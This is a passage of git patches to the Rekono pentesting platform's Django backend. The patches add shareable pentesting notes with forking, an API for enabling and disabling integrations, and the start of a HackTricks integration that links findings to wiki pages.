blank=True, + null=True, + ) + created_at = models.DateTimeField(auto_now_add=True) + updated_at = models.DateTimeField(auto_now=True) + + def __str__(self) -> str: + value = "" + for item in [self.target, self.project]: + if item: + value = f"{item.__str__()} - " + break + return f"{value}{self.title}" + + def get_project(self) -> Any: + return self.target.project if self.target else self.project diff --git a/src/backend/notes/serializers.py b/src/backend/notes/serializers.py new file mode 100644 index 000000000..d0c3d685f --- /dev/null +++ b/src/backend/notes/serializers.py @@ -0,0 +1,35 @@ +from notes.models import Note +from typing import Any, Dict +from taggit.serializers import TaggitSerializer +from framework.serializers import LikeSerializer +from users.serializers import SimpleUserSerializer +from framework.fields import TagField + + +class NoteSerializer(TaggitSerializer, LikeSerializer): + owner = SimpleUserSerializer(many=False, read_only=True) + tags = TagField() + + class Meta: + model = Note + fields = ( + "id", + "project", + "target", + "title", + "body", + "tags", + "owner", + "public", + "forked_from", + "forks", + "created_at", + "updated_at", + ) + read_only_fields = ("owner", "forked_from", "forks", "created_at", "updated_at") + + def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: + attrs = super().validate(attrs) + if attrs.get("target"): + attrs["project"] = None + return attrs diff --git a/src/backend/notes/urls.py b/src/backend/notes/urls.py new file mode 100644 index 000000000..170c97246 --- /dev/null +++ b/src/backend/notes/urls.py @@ -0,0 +1,7 @@ +from rest_framework.routers import SimpleRouter +from notes.views import NoteViewSet + +router = SimpleRouter() +router.register("notes", NoteViewSet) + +urlpatterns = router.urls diff --git a/src/backend/notes/views.py b/src/backend/notes/views.py new file mode 100644 index 000000000..f35b71f53 --- /dev/null +++ b/src/backend/notes/views.py @@ -0,0 +1,92 @@ +from django.db.models import QuerySet, Q + +from framework.views import LikeViewSet +from typing import cast +from targets.models import Target +from notes.models import Note +from notes.filters import NoteFilter +from notes.serializers import NoteSerializer +from rest_framework.permissions import IsAuthenticated +from security.authorization.permissions import ( + OwnerPermission, + RekonoModelPermission, + ProjectMemberPermission, +) +from drf_spectacular.utils import extend_schema +from rest_framework.status import HTTP_201_CREATED +from rest_framework.decorators import action +from rest_framework.request import Request +from rest_framework.response import Response +from projects.models import Project +from typing import Dict, Any, Optional + +# Create your views here. + + +class NoteViewSet(LikeViewSet): + queryset = Note.objects.all() + serializer_class = NoteSerializer + filterset_class = NoteFilter + permission_classes = [ + IsAuthenticated, + RekonoModelPermission, + ProjectMemberPermission, + OwnerPermission, + ] + search_fields = ["title", "body"] + ordering_fields = [ + "id", + "project", + "target", + "title", + "tags", + "owner", + "created_at", + "updated_at", + ] + http_method_names = [ + "get", + "post", + "put", + "delete", + ] + + def _get_project_from_data( + self, project_field: str, data: Dict[str, Any] + ) -> Optional[Project]: + return data.get("project") or ( + cast(Target, data.get("target")).project if data.get("target") else None + ) + + def get_queryset(self) -> QuerySet: + return ( + super() + .get_queryset() + .filter( + Q(owner=self.request.user) + | ( + Q(public=True) + & ( + Q(project__members=self.request.user) + | Q(target__project__members=self.request.user) + | (Q(project=None) & Q(target=None)) + ) + ) + ) + ) + + @extend_schema(request=None, responses={201: NoteSerializer}) + @action(detail=True, methods=["POST"], url_path="fork", url_name="fork") + def target(self, request: Request, pk: str) -> Response: + note = self.get_object() + fork = Note.objects.create( + project=note.project, + target=note.target, + title=note.title, + body=note.body, + owner=self.request.user, + public=False, + forked_from=note, + ) + fork.tags.set(note.tags.all()) + return Response(NoteSerializer(fork).data, status=HTTP_201_CREATED) diff --git a/src/backend/projects/serializers.py b/src/backend/projects/serializers.py index 59b4a0649..9216cce01 100644 --- a/src/backend/projects/serializers.py +++ b/src/backend/projects/serializers.py @@ -38,12 +38,14 @@ class Meta: "members", "tags", "defect_dojo_sync", + "notes", ) read_only_fields = ( "owner", "targets", "members", "defect_dojo_sync", + "notes", ) @transaction.atomic() diff --git a/src/backend/rekono/settings.py b/src/backend/rekono/settings.py index d3ea50e73..622dd80ca 100644 --- a/src/backend/rekono/settings.py +++ b/src/backend/rekono/settings.py @@ -57,6 +57,7 @@ "executions", "findings", "input_types", + "notes", "platforms.defect_dojo", "platforms.mail", "platforms.telegram_app", diff --git a/src/backend/rekono/urls.py b/src/backend/rekono/urls.py index 5d3b1cd53..cf469e9e0 100644 --- a/src/backend/rekono/urls.py +++ b/src/backend/rekono/urls.py @@ -31,10 +31,11 @@ path("api/", include("authentications.urls")), path("api/", include("executions.urls")), path("api/", include("findings.urls")), + path("api/", include("notes.urls")), + path("api/", include("parameters.urls")), path("api/", include("platforms.defect_dojo.urls")), path("api/", include("platforms.mail.urls")), path("api/", include("platforms.telegram_app.urls")), - path("api/", include("parameters.urls")), path("api/", include("processes.urls")), path("api/", include("projects.urls")), path("api/", include("security.authentication.urls")), diff --git a/src/backend/rekono/views.py b/src/backend/rekono/views.py index b1461198f..867a38447 100644 --- a/src/backend/rekono/views.py +++ b/src/backend/rekono/views.py @@ -25,18 +25,18 @@ class RQStatsView(APIView): request=None, responses={ 200: inline_serializer( - name="RQ Stats", + name="RQStats", fields={ "executions-queue": inline_serializer( - name="Queue Stats", + name="QueueStats", fields={k: serializers.IntegerField() for k in exposed_fields}, ), "findings-queue": inline_serializer( - name="Queue Stats", + name="QueueStats", fields={k: serializers.IntegerField() for k in exposed_fields}, ), "tasks-queue": inline_serializer( - name="Queue Stats", + name="QueueStats", fields={k: serializers.IntegerField() for k in exposed_fields}, ), }, diff --git a/src/backend/security/authorization/permissions.py b/src/backend/security/authorization/permissions.py index 4494beb12..be7d6ec53 100644 --- a/src/backend/security/authorization/permissions.py +++ b/src/backend/security/authorization/permissions.py @@ -7,6 +7,7 @@ from rest_framework.views import View from security.authorization.roles import Role from wordlists.models import Wordlist +from notes.models import Note class RekonoModelPermission(DjangoModelPermissions): @@ -91,14 +92,20 @@ class OwnerPermission(BasePermission): def _has_object_permission( self, request: Request, - view: View, instance: Any, owner_field: str, allow_admin: bool, ) -> bool: + if not getattr(instance, owner_field): + allow_admin = True return ( not instance or request.method == "GET" + or ( + request.method == "POST" + and "/fork/" in request.path + and isinstance(instance, Note) + ) or ( hasattr(instance, owner_field) and getattr(instance, owner_field) == request.user @@ -110,7 +117,6 @@ def has_permission(self, request: Request, view: View) -> bool: return ( self._has_object_permission( request, - view, Process.objects.get(pk=request.data.get("process_id")), "owner", True, @@ -133,13 +139,11 @@ def has_object_permission(self, request: Request, view: View, obj: Any) -> bool: instance = None owner_field = "" allow_admin = False - if obj.__class__ in [Wordlist, Process, Step]: + if obj.__class__ in [Wordlist, Process, Step, Note]: instance = obj.process if obj.__class__ == Step else obj owner_field = "owner" - allow_admin = True + allow_admin = not isinstance(obj, Note) elif obj.__class__ == TelegramChat: instance = obj owner_field = "user" - return self._has_object_permission( - request, view, instance, owner_field, allow_admin - ) + return self._has_object_permission(request, instance, owner_field, allow_admin) diff --git a/src/backend/security/authorization/roles.py b/src/backend/security/authorization/roles.py index be4c8d77c..e3c2c7d45 100644 --- a/src/backend/security/authorization/roles.py +++ b/src/backend/security/authorization/roles.py @@ -220,4 +220,10 @@ class Role(models.TextChoices): "change": [], "delete": [Role.ADMIN, Role.AUDITOR, Role.READER], }, + "note": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [Role.ADMIN, Role.AUDITOR], + "change": [Role.ADMIN, Role.AUDITOR], + "delete": [Role.ADMIN, Role.AUDITOR], + }, } diff --git a/src/backend/security/validators/input_validator.py b/src/backend/security/validators/input_validator.py index 95403bb51..dd56e8506 100644 --- a/src/backend/security/validators/input_validator.py +++ b/src/backend/security/validators/input_validator.py @@ -14,7 +14,7 @@ class Regex(Enum): IP_RANGE = r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}-\d{1,3}" NAME = r"[\wÀ-ÿ\s\.\-\[\]()@]{0,120}" - TEXT = r'[\wÀ-ÿ\s\.:,+\-\'"?¿¡!#%$€\[\]()]{0,300}' + TEXT = r"[^;<>/]*" TARGET = r"[\w\d\.:\-/]{1,100}" TARGET_REGEX = r"[\w\d\.,:\-/\.\*\?\+\(\)\\]{1,300}" PATH = r"[\w\.\-_/\\]{0,500}" diff --git a/src/backend/targets/serializers.py b/src/backend/targets/serializers.py index 33dd25f73..8a96b90c4 100644 --- a/src/backend/targets/serializers.py +++ b/src/backend/targets/serializers.py @@ -30,6 +30,7 @@ class Meta: "input_vulnerabilities", "tasks", "defect_dojo_sync", + "notes", ) read_only_fields = ( "type", @@ -38,6 +39,7 @@ class Meta: "input_vulnerabilities", "tasks", "defect_dojo_sync", + "notes", ) def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: diff --git a/src/backend/tests/test_notes.py b/src/backend/tests/test_notes.py new file mode 100644 index 000000000..ee821d2e9 --- /dev/null +++ b/src/backend/tests/test_notes.py @@ -0,0 +1,242 @@ +from typing import Any +from notes.models import Note +from tests.cases import ApiTestCase +from tests.framework import ApiTest + + +private_note = { + "project": 1, + "target": None, + "title": "Title", + "body": "Important things to remember", + "tags": ["test"], + "public": False, +} +public_note = { + **private_note, + "public": True, + "project": None, + "target": 1, +} +invalid_note = {**private_note, "body": "Invalid;content"} + + +class NoteTest(ApiTest): + endpoint = "/api/notes/" + expected_str = "test - Title" + cases = [ + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=[], + ), + ApiTestCase( + ["admin2", "auditor2", "reader1", "reader2"], "post", 403, private_note + ), + ApiTestCase( + ["admin2", "auditor2", "reader1", "reader2"], "post", 403, public_note + ), + ApiTestCase(["admin1", "auditor1"], "post", 400, invalid_note), + ApiTestCase( + ["admin1"], + "post", + 201, + private_note, + { + "id": 1, + **private_note, + "forked_from": None, + "forks": [], + "owner": {"id": 1, "username": "admin1"}, + }, + ), + ApiTestCase( + ["auditor1"], + "post", + 201, + public_note, + { + "id": 2, + **public_note, + "forked_from": None, + "forks": [], + "owner": {"id": 3, "username": "auditor1"}, + }, + ), + ApiTestCase(["admin2", "auditor2", "reader2"], "get", 200, expected=[]), + ApiTestCase( + ["admin1"], + "get", + 200, + expected=[ + { + "id": 2, + **public_note, + "forked_from": None, + "forks": [], + "owner": {"id": 3, "username": "auditor1"}, + }, + { + "id": 1, + **private_note, + "forked_from": None, + "forks": [], + "owner": {"id": 1, "username": "admin1"}, + }, + ], + ), + ApiTestCase( + ["auditor1", "reader1"], + "get", + 200, + expected=[ + { + "id": 2, + **public_note, + "forked_from": None, + "forks": [], + "owner": {"id": 3, "username": "auditor1"}, + } + ], + ), + ApiTestCase(["reader1", "reader2"], "post", 403, endpoint=f"{endpoint}2/fork/"), + ApiTestCase(["admin2", "auditor2"], "post", 404, endpoint=f"{endpoint}2/fork/"), + ApiTestCase(["auditor1"], "post", 404, endpoint=f"{endpoint}1/fork/"), + ApiTestCase( + ["admin1"], + "post", + 201, + expected={ + "id": 3, + **public_note, + "public": False, + "forked_from": 2, + "forks": [], + "owner": {"id": 1, "username": "admin1"}, + }, + endpoint=f"{endpoint}2/fork/", + ), + ApiTestCase( + ["admin1"], + "get", + 200, + expected=[ + { + "id": 3, + **public_note, + "public": False, + "forked_from": 2, + "forks": [], + "owner": {"id": 1, "username": "admin1"}, + }, + { + "id": 2, + **public_note, + "forked_from": None, + "forks": [3], + "owner": {"id": 3, "username": "auditor1"}, + }, + { + "id": 1, + **private_note, + "forked_from": None, + "forks": [], + "owner": {"id": 1, "username": "admin1"}, + }, + ], + ), + ApiTestCase( + ["auditor1", "reader1"], + "get", + 200, + expected=[ + { + "id": 2, + **public_note, + "forked_from": None, + "forks": [3], + "owner": {"id": 3, "username": "auditor1"}, + }, + ], + ), + ApiTestCase( + ["admin2", "auditor1", "auditor2"], "delete", 404, endpoint="{endpoint}1/" + ), + ApiTestCase(["reader1", "reader2"], "delete", 403, endpoint="{endpoint}1/"), + ApiTestCase( + ["admin1", "reader1", "reader2"], "delete", 403, endpoint="{endpoint}2/" + ), + ApiTestCase(["auditor1"], "delete", 204, endpoint="{endpoint}2/"), + ApiTestCase(["admin1"], "delete", 204, endpoint="{endpoint}3/"), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 404, + endpoint="{endpoint}2/", + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 404, + endpoint="{endpoint}3/", + ), + ApiTestCase( + ["auditor1", "admin2", "auditor2"], + "put", + 404, + public_note, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["reader1", "reader2"], "put", 403, public_note, endpoint="{endpoint}1/" + ), + ApiTestCase( + ["admin1"], + "put", + 200, + public_note, + { + "id": 1, + **public_note, + "forked_from": None, + "forks": [], + "owner": {"id": 1, "username": "admin1"}, + }, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["admin2", "auditor2", "reader2"], "get", 404, endpoint="{endpoint}1/" + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected={ + "id": 1, + **public_note, + "forked_from": None, + "forks": [], + "owner": {"id": 1, "username": "admin1"}, + }, + endpoint="{endpoint}1/", + ), + ApiTestCase(["admin2", "auditor2"], "delete", 404, endpoint="{endpoint}1/"), + ApiTestCase( + ["auditor1", "reader1", "reader2"], "delete", 403, endpoint="{endpoint}1/" + ), + ApiTestCase(["admin1"], "delete", 204, endpoint="{endpoint}1/"), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 404, + endpoint="{endpoint}1/", + ), + ] + + def setUp(self) -> None: + super().setUp() + self._setup_target() + + def _get_object(self) -> Any: + return Note.objects.create(**{**private_note, "project": self.project}) From 8381e9f7854bf0304137963940084cfadeab7266 Mon Sep 17 00:00:00 2001 From: Pablo Santiago <69458381+pablosnt@users.noreply.github.com> Date: Wed, 3 Jan 2024 21:43:08 +0100 Subject: [PATCH 128/141] Integrations API to handle all integrations supported (#270) --- CHANGELOG.md | 1 + src/backend/framework/platforms.py | 10 +++++ src/backend/integrations/__init__.py | 0 src/backend/integrations/admin.py | 6 +++ src/backend/integrations/apps.py | 9 +++++ src/backend/integrations/filters.py | 8 ++++ .../integrations/fixtures/1_integrations.json | 24 +++++++++++ src/backend/integrations/models.py | 15 +++++++ src/backend/integrations/serializers.py | 9 +++++ src/backend/integrations/urls.py | 9 +++++ src/backend/integrations/views.py | 16 ++++++++ src/backend/rekono/settings.py | 1 + src/backend/rekono/urls.py | 1 + src/backend/security/authorization/roles.py | 6 +++ src/backend/tests/test_integrations.py | 40 +++++++++++++++++++ 15 files changed, 155 insertions(+) create mode 100644 src/backend/integrations/__init__.py create mode 100644 src/backend/integrations/admin.py create mode 100644 src/backend/integrations/apps.py create mode 100644 src/backend/integrations/filters.py create mode 100644 src/backend/integrations/fixtures/1_integrations.json create mode 100644 src/backend/integrations/models.py create mode 100644 src/backend/integrations/serializers.py create mode 100644 src/backend/integrations/urls.py create mode 100644 src/backend/integrations/views.py create mode 100644 src/backend/tests/test_integrations.py diff --git a/CHANGELOG.md b/CHANGELOG.md index 59c2a38fb..523eecc34 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -22,6 +22,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), - Configure custom proxies for executions (https://github.com/pablosnt/rekono/pull/265) - New endpoint to get status and stats about Redis queues (https://github.com/pablosnt/rekono/pull/266) - Pentesting notes that are sharable with other users and linkable with a project or a target (https://github.com/pablosnt/rekono/issues/267) +- Ability to enable and disable integrations (https://github.com/pablosnt/rekono/issues/269) ### Security diff --git a/src/backend/framework/platforms.py b/src/backend/framework/platforms.py index fe1863c9f..6855cc60c 100644 --- a/src/backend/framework/platforms.py +++ b/src/backend/framework/platforms.py @@ -3,6 +3,7 @@ from urllib.parse import urlparse import requests +from integrations.models import Integration from executions.models import Execution from findings.framework.models import Finding from requests.adapters import HTTPAdapter, Retry @@ -25,6 +26,7 @@ class BaseIntegration(BasePlatform): def __init__(self) -> None: self.session = self._create_session(self.url) + self.integration = Integration.objects.get(key=self.__class__.__name__.lower()) def _create_session(self, url: str) -> requests.Session: session = requests.Session() @@ -49,6 +51,14 @@ def _request( response.raise_for_status() return response.json() if json else response + def is_enabled(self) -> bool: + return self.integration.enabled if self.integration else False + + def process_findings(self, execution: Execution, findings: List[Finding]) -> None: + if not self.is_enabled(): + return + super().process_findings(execution, findings) + class BaseNotification(BasePlatform): enable_field = "" diff --git a/src/backend/integrations/__init__.py b/src/backend/integrations/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/integrations/admin.py b/src/backend/integrations/admin.py new file mode 100644 index 000000000..8b72c7cb5 --- /dev/null +++ b/src/backend/integrations/admin.py @@ -0,0 +1,6 @@ +from django.contrib import admin +from integrations.models import Integration + +# Register your models here. + +admin.register(Integration) diff --git a/src/backend/integrations/apps.py b/src/backend/integrations/apps.py new file mode 100644 index 000000000..0e0904a2c --- /dev/null +++ b/src/backend/integrations/apps.py @@ -0,0 +1,9 @@ +from pathlib import Path + +from django.apps import AppConfig +from framework.apps import BaseApp + + +class IntegrationsConfig(BaseApp, AppConfig): + name = "integrations" + fixtures_path = Path(__file__).resolve().parent / "fixtures" diff --git a/src/backend/integrations/filters.py b/src/backend/integrations/filters.py new file mode 100644 index 000000000..9c80cc751 --- /dev/null +++ b/src/backend/integrations/filters.py @@ -0,0 +1,8 @@ +from integrations.models import Integration +from django_filters.rest_framework import FilterSet + + +class IntegrationFilter(FilterSet): + class Meta: + model = Integration + fields = {"name": ["exact", "icontains"], "enabled": ["exact"]} diff --git a/src/backend/integrations/fixtures/1_integrations.json b/src/backend/integrations/fixtures/1_integrations.json new file mode 100644 index 000000000..ad6da8aaf --- /dev/null +++ b/src/backend/integrations/fixtures/1_integrations.json @@ -0,0 +1,24 @@ +[ + { + "model": "integrations.integration", + "pk": 1, + "fields": { + "key": "defectdojo", + "name": "Defect-Dojo", + "description": "Vulnerability management platform to which Rekono findings will be imported when synchronization is enabled at project level", + "enabled": true, + "reference": "https://www.defectdojo.com/" + } + }, + { + "model": "integrations.integration", + "pk": 2, + "fields": { + "key": "nvdnist", + "name": "NVD NIST", + "description": "National Vulnerability Database from which Rekono will get CVE information to aggregate findings information", + "enabled": true, + "reference": "https://nvd.nist.gov/" + } + } +] \ No newline at end of file diff --git a/src/backend/integrations/models.py b/src/backend/integrations/models.py new file mode 100644 index 000000000..45b66ddc6 --- /dev/null +++ b/src/backend/integrations/models.py @@ -0,0 +1,15 @@ +from django.db import models +from framework.models import BaseModel + +# Create your models here. + + +class Integration(BaseModel): + key = models.TextField(max_length=100) + name = models.TextField(max_length=100) + description = models.TextField(max_length=500) + enabled = models.BooleanField(default=True) + reference = models.TextField(max_length=250) + + def __str__(self) -> str: + return self.name diff --git a/src/backend/integrations/serializers.py b/src/backend/integrations/serializers.py new file mode 100644 index 000000000..aea266e11 --- /dev/null +++ b/src/backend/integrations/serializers.py @@ -0,0 +1,9 @@ +from rest_framework.serializers import ModelSerializer +from integrations.models import Integration + + +class IntegrationSerializer(ModelSerializer): + class Meta: + model = Integration + fields = ("id", "name", "description", "enabled", "reference") + read_only_fields = ("id", "name", "description", "reference") diff --git a/src/backend/integrations/urls.py b/src/backend/integrations/urls.py new file mode 100644 index 000000000..e79eb0a39 --- /dev/null +++ b/src/backend/integrations/urls.py @@ -0,0 +1,9 @@ +from rest_framework.routers import SimpleRouter +from integrations.views import IntegrationViewSet + +# Register your views here. + +router = SimpleRouter() +router.register("integrations", IntegrationViewSet) + +urlpatterns = router.urls diff --git a/src/backend/integrations/views.py b/src/backend/integrations/views.py new file mode 100644 index 000000000..1c0c398b6 --- /dev/null +++ b/src/backend/integrations/views.py @@ -0,0 +1,16 @@ +from framework.views import BaseViewSet +from rest_framework.permissions import IsAuthenticated +from security.authorization.permissions import RekonoModelPermission +from integrations.models import Integration +from integrations.serializers import IntegrationSerializer +from integrations.filters import IntegrationFilter + +# Create your views here. + + +class IntegrationViewSet(BaseViewSet): + queryset = Integration.objects.all() + serializer_class = IntegrationSerializer + filterset_class = IntegrationFilter + permission_classes = [IsAuthenticated, RekonoModelPermission] + http_method_names = ["get", "put"] diff --git a/src/backend/rekono/settings.py b/src/backend/rekono/settings.py index 622dd80ca..b7800c2b4 100644 --- a/src/backend/rekono/settings.py +++ b/src/backend/rekono/settings.py @@ -57,6 +57,7 @@ "executions", "findings", "input_types", + "integrations", "notes", "platforms.defect_dojo", "platforms.mail", diff --git a/src/backend/rekono/urls.py b/src/backend/rekono/urls.py index cf469e9e0..d3af848f5 100644 --- a/src/backend/rekono/urls.py +++ b/src/backend/rekono/urls.py @@ -31,6 +31,7 @@ path("api/", include("authentications.urls")), path("api/", include("executions.urls")), path("api/", include("findings.urls")), + path("api/", include("integrations.urls")), path("api/", include("notes.urls")), path("api/", include("parameters.urls")), path("api/", include("platforms.defect_dojo.urls")), diff --git a/src/backend/security/authorization/roles.py b/src/backend/security/authorization/roles.py index e3c2c7d45..f0f662967 100644 --- a/src/backend/security/authorization/roles.py +++ b/src/backend/security/authorization/roles.py @@ -226,4 +226,10 @@ class Role(models.TextChoices): "change": [Role.ADMIN, Role.AUDITOR], "delete": [Role.ADMIN, Role.AUDITOR], }, + "integration": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [], + "change": [Role.ADMIN], + "delete": [], + }, } diff --git a/src/backend/tests/test_integrations.py b/src/backend/tests/test_integrations.py new file mode 100644 index 000000000..ae8cce0da --- /dev/null +++ b/src/backend/tests/test_integrations.py @@ -0,0 +1,40 @@ +from typing import Any +from tests.framework import ApiTest +from tests.cases import ApiTestCase +from integrations.models import Integration + + +class IntegrationTest(ApiTest): + endpoint = "/api/integrations/" + expected_str = "Defect-Dojo" + cases = [ + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=[{"id": 2, "enabled": True}, {"id": 1, "enabled": True}], + ), + ApiTestCase( + ["auditor1", "auditor2", "reader1", "reader2"], + "put", + 403, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["admin1", "admin2"], + "put", + 200, + {"enabled": False}, + {"id": 1, "enabled": False}, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=[{"id": 2, "enabled": True}, {"id": 1, "enabled": False}], + ), + ] + + def _get_object(self) -> Any: + return Integration.objects.first() From 5c4e54ab450320215a9421519e715a9a4a528997 Mon Sep 17 00:00:00 2001 From: Pablo Santiago <69458381+pablosnt@users.noreply.github.com> Date: Thu, 4 Jan 2024 22:05:48 +0100 Subject: [PATCH 129/141] Integration with HackTricks to link findings to wiki resources (#272) * Integration with HackTricks to link findings to wiki resources * Update CHANGELOG * Fix integrations unit tests --- CHANGELOG.md | 1 + src/backend/findings/framework/models.py | 1 + src/backend/findings/framework/serializers.py | 2 + src/backend/findings/queues.py | 3 +- src/backend/integrations/apps.py | 10 ++ .../integrations/fixtures/1_integrations.json | 11 ++ src/backend/platforms/hacktricks.py | 146 ++++++++++++++++++ .../tests/platforms/test_hacktricks.py | 65 ++++++++ src/backend/tests/test_integrations.py | 12 +- src/backend/tools/fixtures/5_inputs.json | 4 +- 10 files changed, 250 insertions(+), 5 deletions(-) create mode 100644 src/backend/platforms/hacktricks.py create mode 100644 src/backend/tests/platforms/test_hacktricks.py diff --git a/CHANGELOG.md b/CHANGELOG.md index 523eecc34..08c4091ec 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -23,6 +23,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), - New endpoint to get status and stats about Redis queues (https://github.com/pablosnt/rekono/pull/266) - Pentesting notes that are sharable with other users and linkable with a project or a target (https://github.com/pablosnt/rekono/issues/267) - Ability to enable and disable integrations (https://github.com/pablosnt/rekono/issues/269) +- HackTricks integration to link findings to interesing wiki resources (https://github.com/pablosnt/rekono/issues/271) ### Security diff --git a/src/backend/findings/framework/models.py b/src/backend/findings/framework/models.py index f93900489..ac7a521b2 100644 --- a/src/backend/findings/framework/models.py +++ b/src/backend/findings/framework/models.py @@ -21,6 +21,7 @@ class Finding(BaseInput): max_length=300, validators=[Validator(Regex.TEXT.value, code="triage_comment")] ) defect_dojo_id = models.IntegerField(blank=True, null=True) + hacktricks_link = models.TextField(max_length=300, blank=True, null=True) unique_fields: List[str] = [] class Meta: diff --git a/src/backend/findings/framework/serializers.py b/src/backend/findings/framework/serializers.py index 5774c05f3..6ba53f875 100644 --- a/src/backend/findings/framework/serializers.py +++ b/src/backend/findings/framework/serializers.py @@ -12,6 +12,8 @@ class Meta: "last_seen", "triage_status", "triage_comment", + "defect_dojo_id", + "hacktricks_link", ) diff --git a/src/backend/findings/queues.py b/src/backend/findings/queues.py index 534e1db13..721cde600 100644 --- a/src/backend/findings/queues.py +++ b/src/backend/findings/queues.py @@ -9,6 +9,7 @@ from platforms.mail.notifications import SMTP from platforms.nvd_nist import NvdNist from platforms.telegram_app.notifications.notifications import Telegram +from platforms.hacktricks import HackTricks from rq.job import Job logger = logging.getLogger() @@ -28,5 +29,5 @@ def enqueue(self, execution: Execution, findings: List[Finding]) -> Job: @job("findings-queue") def consume(execution: Execution, findings: List[Finding]) -> None: if findings: - for platform in [NvdNist, DefectDojo, SMTP, Telegram]: + for platform in [NvdNist, HackTricks, DefectDojo, SMTP, Telegram]: platform().process_findings(execution, findings) diff --git a/src/backend/integrations/apps.py b/src/backend/integrations/apps.py index 0e0904a2c..2155a6925 100644 --- a/src/backend/integrations/apps.py +++ b/src/backend/integrations/apps.py @@ -1,4 +1,5 @@ from pathlib import Path +from typing import Any from django.apps import AppConfig from framework.apps import BaseApp @@ -7,3 +8,12 @@ class IntegrationsConfig(BaseApp, AppConfig): name = "integrations" fixtures_path = Path(__file__).resolve().parent / "fixtures" + + def _load_fixtures(self, **kwargs: Any) -> None: + from integrations.models import Integration + + disabled_integrations = Integration.objects.filter(enabled=False).values_list( + "id", flat=True + ) + super()._load_fixtures(**kwargs) + Integration.objects.filter(id__in=disabled_integrations).update(enabled=False) diff --git a/src/backend/integrations/fixtures/1_integrations.json b/src/backend/integrations/fixtures/1_integrations.json index ad6da8aaf..93fad76f3 100644 --- a/src/backend/integrations/fixtures/1_integrations.json +++ b/src/backend/integrations/fixtures/1_integrations.json @@ -20,5 +20,16 @@ "enabled": true, "reference": "https://nvd.nist.gov/" } + }, + { + "model": "integrations.integration", + "pk": 3, + "fields": { + "key": "hacktricks", + "name": "HackTricks", + "description": "Wiki that includes an extensive documentation about hacking techniques and tricks, and whose resources will be added as findings references by Rekono", + "enabled": true, + "reference": "https://book.hacktricks.xyz/" + } } ] \ No newline at end of file diff --git a/src/backend/platforms/hacktricks.py b/src/backend/platforms/hacktricks.py new file mode 100644 index 000000000..9aa29b6c6 --- /dev/null +++ b/src/backend/platforms/hacktricks.py @@ -0,0 +1,146 @@ +from typing import List, Optional +from findings.enums import HostOS +from executions.models import Execution +from findings.framework.models import Finding +from findings.models import Host, Port, Technology +from framework.platforms import BaseIntegration +import defusedxml.ElementTree as parser + + +class HackTricks(BaseIntegration): + def __init__(self) -> None: + self.url = "https://book.hacktricks.xyz/" + super().__init__() + self.hacktricks_sitemap_url = f"{self.url}sitemap.xml" + self.hacktricks_services_base_url = f"{self.url}network-services-pentesting/" + self.hacktricks_pentesting_web_url = ( + f"{self.hacktricks_services_base_url}pentesting-web/" + ) + self.host_type_mapping = { + HostOS.LINUX: f"{self.url}linux-hardening/", + HostOS.MACOS: f"{self.url}macos-hardening/", + HostOS.WINDOWS: f"{self.url}windows-hardening/", + HostOS.ANDROID: f"{self.url}mobile-pentesting/android-app-pentesting", + HostOS.IOS: f"{self.url}mobile-pentesting/ios-pentesting", + } + self.services_mapping = { + f"{self.url}generic-methodologies-and-resources/pentesting-network/dhcpv6": [ + "dhcps", + "dhcpc", + "dhcpv6-server", + "dhcpv6-client", + "dhcp-failover", + "dhcp-failover2", + ], + f"{self.url}pentesting-web/sql-injection": ["sqlserv", "sqlsrv", "msql"], + f"{self.url}pentesting-web/sql-injection/mysql-injection": [ + "mysql-cm-agent" + ], + f"{self.url}pentesting-web/web-vulnerabilities-methodology": [ + "http", + "https", + "http-mgmt", + "http-alt", + "http-rpc-epmap", + "httpx", + ], + f"{self.url}windows-hardening/active-directory-methodology/kerberoast": [ + "kerberos-adm", + "kadmin", + "krb_prop", + "krbupdate", + "kpasswd", + "pkt-krb-ipsec", + ], + f"{self.url}generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp#radius": [ + "radius", + "radacct", + ], + f"{self.hacktricks_pentesting_web_url}sql-injection/oracle-injection": [ + "sqlnet" + ], + f"{self.hacktricks_services_base_url}ipsec-ike-vpn-pentesting": [ + "openvpn", + "vpnz", + "isakmp", + ], + f"{self.hacktricks_services_base_url}pentesting-mssql-microsoft-sql-server": [ + "rsqlserver" + ], + f"{self.hacktricks_services_base_url}/pentesting-printers/physical-damage#postscript": [ + "print-srv" + ], + "ftp": ["ftps", "ftp-data", "ftps-data", "via-ftp", "sftp", "ftp-agent"], + "dns": ["domain"], + "smb": ["microsoft-ds", "netbios-ssn"], + "pop": ["pop2", "pop3", "pop3s"], + "smtp": ["smtps"], + "rlogin": ["login"], + "imap": ["imap3", "imap4-ssl", "apple-imap-admin", "imaps"], + "ldap": ["ldapssl", "ldaps"], + "telnet": ["telnets"], + "irc": ["ircs"], + } + self.all_links = self._get_all_hacktricks_links() + + def _get_all_hacktricks_links(self) -> List[str]: + sitemap = self._request(self.hacktricks_sitemap_url, json=False) + return [url[0].text for url in parser.fromstring(sitemap.text).getroot()] + + def _get_mapped_value_for_service(self, service: str) -> Optional[str]: + for mapped_value, services in self.services_mapping.items(): + if service in services: + return mapped_value + 